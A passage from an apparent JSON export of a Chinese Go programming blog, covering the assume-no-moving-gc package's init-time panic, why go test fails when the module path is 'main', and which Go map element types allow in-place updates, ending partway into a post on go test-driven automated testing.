那么unsafe-assume-no-moving-gc包是怎么做到上述“检测”的呢？其诀窍就在untested.go这个源文件中。我们下载go4.org/unsafe/assume-no-moving-gc源码，并将其“回退”到1025295fd063这个commit时刻：\n$git checkout 1025295fd063 Note: checking out '1025295fd063'. ... ... HEAD is now at 1025295 flesh out package doc 查看untested.go：\n// Copyright 2020 Brad Fitzpatrick. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // +build go1.18 package assume_no_moving_gc import ( \u0026quot;os\u0026quot; \u0026quot;runtime\u0026quot; \u0026quot;strings\u0026quot; ) func init() { dots := strings.SplitN(runtime.Version(), \u0026quot;.\u0026quot;, 3) v := runtime.Version() if len(dots) \u0026gt;= 2 { v = dots[0] + \u0026quot;.\u0026quot; + dots[1] } if os.Getenv(env) == v { return } panic(\u0026quot;Something in this program imports go4.org/unsafe/assume-no-moving-gc to declare that it assumes a non-moving garbage collector, but your version of go4.org/unsafe/assume-no-moving-gc hasn't been updated to assert that it's safe against the \u0026quot; + v + \u0026quot; runtime. If you want to risk it, run with environment variable \u0026quot; + env + \u0026quot;=\u0026quot; + v + \u0026quot; set. Notably, if \u0026quot; + v + \u0026quot; adds a moving garbage collector, this program is unsafe to use.\u0026quot;) } 这个文件有两个特点：\n使用了build constraint：// +build go1.18，这意味着在你使用Go 1.18及更高版本时，该源文件才会参与编译。 包含了init函数，你的代码在导入assume_no_moving_gc包时，该init函数会执行，产生“副作用”。 注：关于build constraint的用法，参见go help buildconstraint。\n这样，我们使用go 1.20版本运行上面main.go时，由于go 1.20版本大于go 1.18版本，untested.go将被编译且其中的init函数将被执行，如果env这个常量(“ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH”)所对应的环境变量没有设置，那么init函数将走到panic，从而导致程序退出并输出panic信息。\n现在我们将assume_no_moving_gc包的版本切换回最新版本，最新版本的untested.go中的build constraint如下：\n//go:build go1.21 // +build go1.21 这意味着你使用Go 1.21或以上版本时，untested.go文件才会被编译，如果我们使用go 1.20版本运行main.go，我们便不会“触发”untested.go中init函数的副作用，于是main.go得以正常运行。\n注：截至go 1.20版本，Go GC依然不会挪动heap object。\n在理解unsafe-assume-no-moving-gc包之前，我就该包的功用“咨询”了ChatGPT，ChatGPT的回答如下：\n可以看出，ChatGPT基本上是一本正经地“胡说八道”。\n4. 小结 unsafe-assume-no-moving-gc只针对GC对heap object的迁移，而不会保证栈地址的迁移，我们知道，Go中栈地址是会变的，因为goroutine的初始栈才2KB，一旦超出这个范围，Go runtime就会对栈进行扩展，即分配一个更大的地址范围作为goroutine的栈，然后将原栈上的变量迁移到新栈中，这样原先栈上变量的地址就都会发生变化。\n不过，如果你的Go源码中采用了unsafe tips，依赖了heap object的地址，那么这里建议你导入unsafe-assume-no-moving-gc包。但要注意，随着go最新版本的发布，你要及时更新依赖的unsafe-assume-no-moving-gc的版本。否则当用户使用最新版本go时，依赖你的包的程序就会以panic来提醒。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/04/16/understanding-unsafe-assume-no-moving-gc/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/understanding-unsafe-assume-no-moving-gc-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/04/16/understanding-unsafe-assume-no-moving-gc\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/04/16/understanding-unsafe-assume-no-moving-gc\"\u003ehttps://tonybai.com/2023/04/16/understanding-unsafe-assume-no-moving-gc\u003c/a\u003e\u003c/p\u003e\n\u003ch2 id=\"1-背景\"\u003e1. 背景\u003c/h2\u003e\n\u003cp\u003e在之前的\u003ca href=\"https://t.zsxq.com/0dTyxkwRb\"\u003e《Go与神经网络：张量计算》\u003c/a\u003e一文中，不知道大家是否发现了，所有例子代码执行时，前面都加了一个环境变量ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH，就像下面这样：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e$ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH=go1.20 go run tensor.go\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e这是怎么回事儿呢？如果不加上这个环境变量会发生什么呢？我们来试试：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e// https://github.com/bigwhite/experiments/blob/master/go-and-nn/tensor-operations/tensor.go\n\n$go run tensor.go\npanic: Something in this program imports go4.org/unsafe/assume-no-moving-gc to declare that it assumes a non-moving garbage collector, but your version of go4.org/unsafe/assume-no-moving-gc hasn't been updated to assert that it's safe against the go1.20 runtime. If you want to risk it, run with environment variable ASSUME_NO_MOVING_GC_UNSAFE_RISK_IT_WITH=go1.20 set. Notably, if go1.20 adds a moving garbage collector, this program is unsafe to use.\n\ngoroutine 1 [running]:\ngo4.org/unsafe/assume-no-moving-gc.init.0()\n    /Users/tonybai/Go/pkg/mod/go4.org/unsafe/assume-no-moving-gc@v0.0.0-20220617031537-928513b29760/untested.go:25 +0x1ba\nexit status 2\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e我们看到，程序panic了！我们看到panic的错误信息提到了go4.org/unsafe/assume-no-moving-gc这个包，显然是这个包在“作祟”，那么assume-no-moving-gc这个包究竟是做什么的呢？究竟有何功用？为何gorgonia.org/tensor会依赖这个包？这超出了《Go与神经网络：张量计算》那篇文章的范畴，所以我并未提及。在这篇文章中，我就和大家一起来理解一下unsafe-assume-no-moving-gc这个包。\u003c/p\u003e","title":"理解unsafe-assume-no-moving-gc包"},{"content":"\n本文永久链接 – https://tonybai.com/2023/04/08/the-reason-why-go-test-fails-when-module-path-is-main\n近期收到新加入“Gopher部落”知识星球的星友“凌风”的一个问题，内容如下：\n在一个目录下，我编写了a.go和a_test.go，在go mod init main后执行go test，会报错：could not import main( can not import \u0026quot;main\u0026quot;)。我知道它的解决方法是改变包名。我的问题是： 1. 难道无法对 main 包执行包内测试了么。 2. 这里的报错的底层原因是什么。 本文将针对这个问题做一个简要的分析，这将涉及到go module、go package和package import的相关概念以及go test的工作原理等内容。\n1. 建立试验环境，复现问题 我们先搭建一个试验环境，复现一下这位星友遇到的问题：\n// https://github.com/bigwhite/experiments/blob/master/module-path-main $tree module-path-main module-path-main ├── go.mod ├── pkg.go └── pkg_test.go $cat go.mod module main go 1.20 $cat pkg.go package main func Add(a, b int) int { return a + b } $cat pkg_test.go package main import ( \u0026quot;testing\u0026quot; ) func TestAdd(t *testing.T) { n := Add(5, 6) if n != 11 { t.Errorf(\u0026quot;want 11, got %d\\n\u0026quot;, n) } } 好了！我们执行go test运行测试：\n$go test # main.test /var/folders/cz/sbj5kg2d3m3c6j650z0qfm800000gn/T/go-build1902276879/b001/_testmain.go:14:8: could not import main (cannot import \u0026quot;main\u0026quot;) FAIL main [build failed] 我们看到：这里使用Go 1.20版本执行的go test命令报错！报错内容与星友的问题一致！问题复现了！接下来我们就来分析一下为何会报错！\n2. go module、go package与import path 分析问题之前，我们还是要理清楚go module、go package与import path这几个概念。\ngo package的概念大家已经很熟悉了，这是Go的基本编译单元，是go从娘胎里就带的概念。后面的go module、import path与package概念都相关。\nGo在1.11版本引入go module，之后go module就替代gopath构建模式成为了Go标准构建模式。\nGo mod参考手册中关于go module的定义是：“一个module由一个module path来识别，go.mod文件中声明了module path以及关于该module的依赖信息(require、replace等)。包含go.mod文件的目录被称为module root directory。main module是包含调用go命令的目录的module。\n注：本文只讨论go module模式，过时的GOPATH模式不再讨论之列。\n注：main module的说法极易造成概念混淆，在Go 1.21版本或后续版本中可能会改为work module。\nGo module的引入是为了解决依赖管理问题，所以go module是一组package的集合，这组package的版本与module版本绑定。但go module的引入，也对package的import path的确定与含义产生了些许影响。\nGOPATH构建模式时代，go package的导入路径(import path)是该package所在目录相对于\\$GOPATH/src的路径来确定的。比如你的package放在了\\$GOPATH/src/github.com/user/repo下，那么你的package的导入路径就是import “github.com/user/repo”。这和当时go get下载包的路径规则是一致的。\n在Go module时代，\\$GOPATH/src不再强制，go module与\\$GOPATH/src也没有任何耦合关系了。这时，go package的导入路径由go module path和package在module中的相对路径共同确定：\n如果你的module path(go.mod文件中声明)为github.com/user/yourmodule，你的package在yourmodule根路径下的foo/bar目录下，那么你的package的导入路径就是github.com/user/yourmodule/foo/bar。 如果你的module使用了自定义module路径，比如：example.com/go/yourmodule，那么同样，如果你的package在yourmodule根路径下的foo/bar目录下，这个package的导入路径将为example.com/go/yourmodule/foo/bar。 如果你的module采用的不是上述两种url的方式，而是使用tonybai/yourmodule这样的“本地路径”形式，那么如果你的package在yourmodule根路径下的foo/bar目录下，这个package的导入路径将为tonybai/yourmodule/foo/bar。 注：除了做包导入路径的前缀，module path还可以用来指示module存放的版本托管服务的url地址。\n上面概念与它们的关系对解决我们文首处的问题有什么帮助呢？别急！下面这个推论与本文那个问题强相关。\n3. module root directory的包的导入路径是什么 好了，下面就是与本文开头那个问题最相关的一个问题了：go module的根目录(module root directory)下的package的导入路径是啥？根据上面对go module模式下package导入路径的定义：go module根目录下包的导入路径就是module path。\n以我们上面的试验项目为例，main module的根路径为module-path-main目录，该目录下面存放了一个包main(pkg.go)，那么该main包的导入路径就为go module的module path：”main”。即便你将pkg.go中的包名由”main”改为”demo”，demo包的包导入路径依旧为”main”。\n注：《Go语言第一课》专栏04讲和06讲有关于包导入路径的深入理解。\n注：星友凌风在问题中说：改变go包名可以解决这个问题，这个说法是不正确的。将上面的包名main改为demo，go test依然会报同样的错误。\n4. go test的原理 好了！关于go module、package以及package import路径的概念复习的差不多了，这些概念的复习是解决文首问题的一个前提，我们先把它们暂存在大脑里。我们再聊看另一半知识：go test。\nGo test是Go内置的测试框架，我们可以用它来驱动单元测试、集成测试甚至是自动化测试。\n在一个包内执行go test后，go test会首先编译目标包，然后编译测试包(测试包和目标包可能是一个包，也可能是不同包)，即目录下所有以_test.go为后缀的源文件。go test会将测试包编译为一个可执行文件，这个可执行文件的main包会依赖并导入测试包，并会调用测试包中的TestXxx导出方法执行测试。\n注：go test -c可以得到这个可执行文件pkg.test\n5. 真相大白 好了，有了上述关于两个知识准备后，我们来揭开问题的真相！\n我们使用go test -work来查看go test执行生成的可执行文件的main函数所在文件(传入-work标志的目的是让go编译器在编译后依然保留构建测试源文件的临时目录)：\n// 在module-path-main下执行 $go test -work WORK=/var/folders/cz/sbj5kg2d3m3c6j650z0qfm800000gn/T/go-build2039841248 # main.test /var/folders/cz/sbj5kg2d3m3c6j650z0qfm800000gn/T/go-build2039841248/b001/_testmain.go:14:8: could not import main (cannot import \u0026quot;main\u0026quot;) FAIL main [build failed] 打开临时路径下b001下面的_testmain.go，这个文件是go test工具生成的：\n// Code generated by 'go test'. DO NOT EDIT. package main import ( \u0026quot;os\u0026quot; \u0026quot;testing\u0026quot; \u0026quot;testing/internal/testdeps\u0026quot; _test \u0026quot;main\u0026quot; ) var tests = []testing.InternalTest{ {\u0026quot;TestAdd\u0026quot;, _test.TestAdd}, } var benchmarks = []testing.InternalBenchmark{ } var fuzzTargets = []testing.InternalFuzzTarget{ } var examples = []testing.InternalExample{ } func init() { testdeps.ImportPath = \u0026quot;main\u0026quot; } func main() { m := testing.MainStart(testdeps.TestDeps{}, tests, benchmarks, fuzzTargets, examples) os.Exit(m.Run()) } 我们看到这就是我们要编译出来的测试可执行文件的main包和main函数的内容，其中最关键的一行是：\nimport ( ... ... _test \u0026quot;main\u0026quot; // 这行是导致go test执行出错的“罪魁祸首” ... ... ) 根据我们之前复习的go module下package导入路径的定义，这里的”main”其实是module-path-main这个module根路径下的包的导入路径，前面说了：这个顶层包(无论包名是什么，是main也好，是demo也罢)的导入路径就是module path，而这里我们定义的module path是main，因此这里的路径为”main”。\n根据包导入路径规则，如果是像”fmt”、”io”这样的导入路径，go编译器会从标准库中搜索；如果是”main”，则认为是main包。\n好了，问题来了！这个_testmain.go是go test生成的测试可执行程序的main包，它现在又导入了一个”main”包，而Go语言是不允许导入main包的。因为main包以及main函数通常是用来集成你的各个代码单元（也就是包）的，如果你的其他代码单元再依赖main，就会造成“循环导入”，这在Go中是绝对禁止的。这就是文首问题的真正原因。\n注：main包支持单元测试，但通常建议不要针对main包进行单元测试。如果你在main里有值得测试的代码（用于单元测试；而不是用于集成测试），可以考虑把它移到一个库包里。\n知道了真因后，解决方法也十分简单，那就是重命名module path，比如改为demo，这样go test就会成功执行了。而改为demo后，_testmain中导入代码变成了：\nimport ( ... ... _test \u0026quot;demo\u0026quot; ... ... ) 这显然不会导致go编译器报错！\n6. 参考资料 go mod reference – https://go.dev/ref/mod “Tests in main package don’t work with GO111MODULE=on” – https://github.com/golang/go/issues/28514 本文涉及的代码可以在这里下载 – https://github.com/bigwhite/experiments/blob/master/module-path-main\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/04/08/the-reason-why-go-test-fails-when-module-path-is-main/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/the-reason-why-go-test-fails-when-module-path-is-main-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/04/08/the-reason-why-go-test-fails-when-module-path-is-main\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/04/08/the-reason-why-go-test-fails-when-module-path-is-main\"\u003ehttps://tonybai.com/2023/04/08/the-reason-why-go-test-fails-when-module-path-is-main\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e近期收到新加入\u003ca href=\"https://wx.zsxq.com/dweb2/index/group/51284458844544\"\u003e“Gopher部落”知识星球\u003c/a\u003e的星友“凌风”的一个问题，内容如下：\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e在一个目录下，我编写了a.go和a_test.go，在go mod init main后执行go test，会报错：could not import main( can not import \u0026quot;main\u0026quot;)。我知道它的解决方法是改变包名。我的问题是：\n1. 难道无法对 main 包执行包内测试了么。\n2. 这里的报错的底层原因是什么。\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e本文将针对这个问题做一个简要的分析，这将涉及到go module、go package和package import的相关概念以及go test的工作原理等内容。\u003c/p\u003e","title":"一文告诉你当module path为main时执行go test失败的真正原因"},{"content":"\n本文永久链接 – https://tonybai.com/2023/04/02/map-element-types-support-in-place-update\n年初，我代表团队和人民邮电出版社签订了翻译《Go Fundamentals》一书的合同，本月底便是四分之一进度的交稿时间点，近期闲时我们都在忙着做交叉review。\n上周末我review小伙伴翻译的有关map类型的章节时，看到了书中对map element就地更新的讲解。Mark Bates和Cory LaNou的这本书属于入门级Go语言书，只是举例说明了一些支持就地更新的map element类型以及不能就地更新的典型类型，但对不能更新的原因并未做深入说明。我觉得这个知识点不错，借这篇文章系统梳理一下。\n一. 什么是map element的就地更新(in-place update) 我们知道Go中的map类型是一种无序的键值对集合，它的内部实现是基于哈希表的，支持高效地进行插入、查找和删除操作。map的key必须是可以进行相等比较的类型，比如整数、字符串、指针等，而element(也称为value)则可以是任意类型。并且，map是引用类型，它的零值为nil，使用前需要先使用内置函数make或map类型字面值进行空间分配。此外，在使用map时还需要注意并发安全问题，可以使用sync包提供的同步原语中来实现map的并发安全。\n更多关于map的入门介绍与原理说明，可以阅读我的极客时间专栏《Go语言第一课》的第16讲。\n下面我们就来声明一个简单的map类型变量：\nm := map[string]int{} m是一个键为string类型、element为int类型的map。我们可以通过下面代码向map中插入一个键值对：\nm[\u0026quot;boy\u0026quot;] = 0 我们可以将其想象为一个统计班里男孩子数量的计数器：每数到一个男孩，我们就可以将其加1：\nn := m[\u0026quot;boy\u0026quot;] n++ m[\u0026quot;boy\u0026quot;] = n 你可以看到上述代码更新了键”boy”对应的element值(+1)。不过这种方法比较繁琐，要更新键”boy”对应的element值，我们还有下面这个更为简洁的方法：\nm[\u0026quot;boy\u0026quot;]++ 我们看到和前面一种方法相比，这种方法没有引入额外的变量(比如前面的变量n)，而是直接在map element上进行了更新的操作，这种方法就称为map element的“就地更新”。\n下面还有一些支持“就地更新”的map element类型的例子，比如：string、切片等：\nm[\u0026quot;boy\u0026quot;] += 1 // element类型为string m1 := map[int]string{ 1 : \u0026quot;hello\u0026quot;, 2 : \u0026quot;bye\u0026quot;, } // map[1:hello 2:bye] m1[1] += \u0026quot;, world\u0026quot; // map[1:hello, world 2:bye] // element类型为切片 m2 := map[string][]int{ \u0026quot;k1\u0026quot;: {1, 2}, \u0026quot;k2\u0026quot;: {3, 4}, } // map[k1:[1 2] k2:[3 4]] m2[\u0026quot;k1\u0026quot;][0] = 11 // map[k1:[11 2] k2:[3 4]] 不过并非所有类型都支持“就地更新”，比如下面的数组与结构体作为map element类型时就会导致编译错误：\nm3 := map[int][10]int{ 1 : {1,2,3,4,5,6,7,8,9,10}, } m3[1][0] = 11 // 编译错误：cannot assign to m3[1][0] (value of type int) type P struct { a int b float64 } m4 := map[int]P { 1 : {1, 3.14}, 2 : {2, 6.28}, } m4[1].a = 11 // 编译错误：cannot assign to struct field m4[1].a in map 那么为什么会这样呢？为什么同样作为map element，有的类型可以就地更新，有的类型就不支持呢？我们继续向下看。\n二. element类型支持就地更新的本质 支持element类型就地更新这种“语法糖”在实际编写代码中体验还是非常好的，避免了下面这种“三行”冗余代码：\na := m[\u0026quot;boy\u0026quot;] a++ m[\u0026quot;boy\u0026quot;] = a 那么，Go究竟是如何实现“就地更新”的呢？我们还以以上面的m变量为例：\nm := map[string]int{ \u0026quot;boy\u0026quot; : 0, \u0026quot;girl\u0026quot; : 0, } 当我们执行下面的就地更新语句时：\nm[\u0026quot;boy\u0026quot;]++ 我们来看一下底层的汇编是啥样的：\n汇编语句不是很好懂，不过我们仅关注一下重点。我们看到汇编调用了runtime.mapassign_faststr这个函数，该函数的语义就是通过传入的key，找到对应的element，并将element的地址传出来。这里element的地址放入了AX寄存器中；接下来我们看到汇编调用INCQ指令将AX寄存器指向的内存块中的数据做了加1操作，从而实现了m[\u0026ldquo;boy\u0026rdquo;]++这个语句的语义。\n如果用伪代码来表示这个过程大致是这样的：\n// 伪代码，下面的代码无法通过go编译，go在语法层面不支持获取map element的地址 p := \u0026amp;m[\u0026quot;boy\u0026quot;] (*p)++ 到这里小伙伴们可能会问：为什么Go不针对类型为struct和array的element提供这种语法糖呢？我们假设struct的字段更新也支持就地更新，那么会发生什么呢？\ntype P struct { a int b float64 } m4 := map[int]P { 1 : {1, 3.14}, 2 : {2, 6.28}, } m4[1].a = 11 上面的m4[1].a = 11将等价于如下代码：\nt := \u0026amp;(m4[1]) t.a = 11 我们看到与element类型为int或string不同，由于要更新struct内部的字段，我们这次必须获取element的地址。一旦可以获取地址，问题就来了！这个地址是map在runtime层维护的内存地址，一旦暴露出来至少会有如下两个问题：\n并发访问时会导致该element数据的竞争问题； map自动扩容后，element地址会变更，通过上述代码获取的地址可能变为无效。 当然第二点更为重要，也正是因为这个原因，Go决定不支持对map的element取地址。\n不过这似乎也并非是什么不可逾越的“鸿沟”，在runtime层面，element地址还是可以拿到的，就像前面的map[string]int那样。但目前Go团队依旧没有松口，在Go issue 3117中，Go团队一直跟踪着上述结构体类型作为map element时不能就地更新的问题。该issue并没有close，说明也许未来Go针对这样的行为的处理可能会发生变化。\n那是否可以用整体替换的三行代码方案来提供针对struct和array类型的element就地更新语法糖呢？ 以struct为例：\nm4[1].a = 11 \u0026lt;=\u0026gt; t := m4[1] t.a = 11 m4[1] = t 即将struct和array作为一个整体，从map中获取副本，然后在临时变量中更新后，再重新覆盖map中的element。\ngo为什么不提供这种“语法糖”呢？我猜是因为这么做的性能开销较大！struct可以聚合很多字段，array的size也可能很可观，这样的两次copy的开销可能是Go开发者比较顾忌的。\n那么目前的替代方案是什么呢? 其实很简单，那就是element类型使用指针类型，比如下面element类型为结构体指针类型的代码：\ntype P struct { a int b float64 } m := map[int]*P{ 1: {1, 3.14}, 2: {2, 6.28}, } fmt.Println(m[1]) // \u0026amp;{1 3.14} m[1].a = 11 fmt.Println(m[1]) // \u0026amp;{11 3.14} 再比如element类型为数组指针类型的代码：\nm1 := map[int]*[10]int{ 1: {1, 2, 3}, } fmt.Println(m1[1]) // \u0026amp;[1 2 3 0 0 0 0 0 0 0] m1[1][0] = 11 fmt.Println(m1[1]) // \u0026amp;[11 2 3 0 0 0 0 0 0 0] 对map element“就地更新”的限制也会影响到是否能调用element类型的相关方法，我们再来看下面例子：\ntype P struct { a int b float64 } func (P) normalFunc() { } func (p *P) updateInPlace(a int) { p.a = a } func main() { m1 := map[int]P{ 1: {1, 3.14}, 2: {2, 6.28}, } m1[1].normalFunc() m1[1].updateInPlace(11) // 编译错误：cannot call pointer method updateInPlace on P m2 := map[int]*P{ 1: {1, 3.14}, 2: {2, 6.28}, } fmt.Println(m2[1].a) // 1 m2[1].normalFunc() m2[1].updateInPlace(11) fmt.Println(m2[1].a) // 11 } 我们看到当element类型为P时，我们无法通过语法糖来调用会对结构体字段进行修改的updateInPlace方法，但可以调用normalFunc。而当element类型为P指针类型时，则无此限制。\n那么，我们究竟如何判断哪些类型支持就地更新，哪些不支持呢？我们接下来就来说说。\n三. 梳理与小结 我们最后来梳理一下Go的主要类型是否支持就地更新。\n不涉及就地更新的类型 当element类型为布尔类型、函数类型时，我没找出针对这些map element就地更新的写法。\n注：函数在Go中是一等公民。\nGo原生的基本类型，比如整型、浮点型、complex类型、string类型等 当这些类型作为map element类型时，它们和整型一样，支持元素的就地更新，其原理与上面的map[string]int也是类似的：\n// 整型 m1 := map[int]int{ 1: 1, } m1[1]++ fmt.Println(m1[1]) // 2 // 浮点型 m3 := map[int]float64{ 1: 3.14, } m3[1]++ fmt.Println(m3[1]) // 4.140000000000001 // complex类型 m4 := map[int]complex128{ 1: complex(2, 3), // 2+3i } m4[1]++ fmt.Println(m4[1]) // 3+3i // string类型 m5 := map[int]string{ 1: \u0026quot;hello\u0026quot;, } m5[1] += \u0026quot; world\u0026quot; fmt.Println(m5[1]) // hello world 对于指针、map、channel等类型 通过前面的讲解，我们知道使用指针作为map element类型是支持就地更新的，这里就不重复举例了。\nmap类型自身在Go运行时表示中也是一个指针，它也是支持就地更新的：\nm := map[int]map[int]string{ 1: {1: \u0026quot;hello\u0026quot;}, } m[1][1] += \u0026quot; world\u0026quot; fmt.Println(m[1][1]) // hello world 关于channel类型，如果将向channel写入数据当作“就地更新”的话，那么channel也勉强算是支持：\n// channel m1 := map[int]chan int{ 1: make(chan int), } go func() { m1[1] \u0026lt;- 11 }() fmt.Println(\u0026lt;-m1[1]) // 11 对于切片、接口类型 通过前面的讲解，我们知道使用切片作为map element类型是支持就地更新的，这里就不重复举例了。\n而对于接口类型，我理解的就地更新场景有两种，一种是通过接口值调用动态类型的方法，一种则是通过type assert来修改某些值。下面这两个场景的示例代码：\ntype MyInterface interface { normalFunc() updateInPlace(a int) } type P struct { a int b float64 } func (P) normalFunc() { } func (p *P) updateInPlace(a int) { p.a = a } func main() { // interface m1 := map[int]MyInterface{ 1: \u0026amp;P{1, 3.14}, } m1[1].updateInPlace(11) // 场景1：调用就地更新的方法 p := m1[1].(*P) fmt.Println(p.a) // 11 (m1[1].(*P)).a = 21 // 场景2：通过type assert设置值 p = m1[1].(*P) fmt.Println(p.a) // 21 } 对于数组、struct类型 通过前面的讲解，我们知道使用数组和struct类型作为map element类型是不支持就地更新的，这里就不重复举例了。\n综上，目前只有当数组和结构体类型作为map元素类型时是不支持就地更新的。不过这种限制不一定一直持续下去，毕竟就地更新这种“语法糖”在编码过程中很好用，让代码变得更加简洁，也更加高效。后面Go团队可能会修改Go编译器以及运行时，让这种“语法糖”适用于所有类型。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/04/02/map-element-types-support-in-place-update/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/map-element-types-support-in-place-update-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/04/02/map-element-types-support-in-place-update\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/04/02/map-element-types-support-in-place-update\"\u003ehttps://tonybai.com/2023/04/02/map-element-types-support-in-place-update\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e年初，我代表团队和人民邮电出版社签订了翻译\u003ca href=\"https://gopherguides.com/golang-fundamentals-book\"\u003e《Go Fundamentals》\u003c/a\u003e一书的合同，本月底便是四分之一进度的交稿时间点，近期闲时我们都在忙着做交叉review。\u003c/p\u003e","title":"一文告诉你哪些map element类型支持就地更新"},{"content":"\n本文永久链接 – https://tonybai.com/2023/03/30/automated-testing-driven-by-go-test\n一. 背景 团队的测试人员稀缺，无奈只能“自己动手，丰衣足食”，针对我们开发的系统进行自动化测试，这样既节省的人力，又提高了效率，还增强了对系统质量保证的信心。\n我们的目标是让自动化测试覆盖三个环境，如下图所示：\n我们看到这三个环境分别是：\nCI/CD流水线上的自动化测试 发版后在各个stage环境中的自动化冒烟/验收测试 发版后在生产环境的自动化冒烟/验收测试 我们会建立统一的用例库或针对不同环境建立不同用例库，但这些都不重要，重要的是我们用什么语言来编写这些用例、用什么工具来驱动这些用例。\n下面看看方案的诞生过程。\n二. 方案 最初组内童鞋使用了YAML文件来描述测试用例，并用Go编写了一个独立的工具读取这些用例并执行。这个工具运作起来也很正常。但这样的方案存在一些问题：\n编写复杂 编写一个最简单的connect连接成功的用例，我们要配置近80行yaml。一个稍微复杂的测试场景，则要150行左右的配置。\n难于扩展 由于最初的YAML结构设计不足，缺少了扩展性，使得扩展用例时，只能重新建立一个用例文件。\n表达能力不足 我们的系统是消息网关，有些用例会依赖一定的时序，但基于YAML编写的用例无法清晰地表达出这种用例。\n可维护性差 如果换一个人来编写新用例或维护用例，这个人不仅要看明白一个个百十来行的用例描述，还要翻看一下驱动执行用例的工具，看看其执行逻辑。很难快速cover这个工具。\n为此我们想重新设计一个工具，测试开发人员可以利用该工具支持的外部DSL文法来编写用例，然后该工具读取这些用例并执行。\n注：根据Martin Fowler的《领域特定语言》一书对DSL的分类，DSL有三种选型：通用配置文件(xml, json, yaml, toml)、自定义领域语言，这两个合起来称为外部DSL。如：正则表达式、awk, sql、xml等。利用通用编程语言片段/子集作为DSL则称为内部dsl，像ruby等。\n后来基于待测试的场景数量和用例复杂度粗略评估了一下DSL文法(甚至借助ChatGPT生成过几版DSL文法)，发现这个“小语言”那也是“麻雀虽小五脏俱全”。如果用这样的DSL编写用例，和利用通用语言(比如Python)编写的用例在代码量级上估计也不相上下了。\n既然如此，自己设计外部DSL意义也就不大了。还不如用Python来整。但转念一想，既然用通用语言的子集了，团队成员对Python又不甚熟悉，那为啥不回到Go呢^_^。\n让我们进行一个大胆的设定：将Go testing框架作为“内部DSL”来编写用例，用go 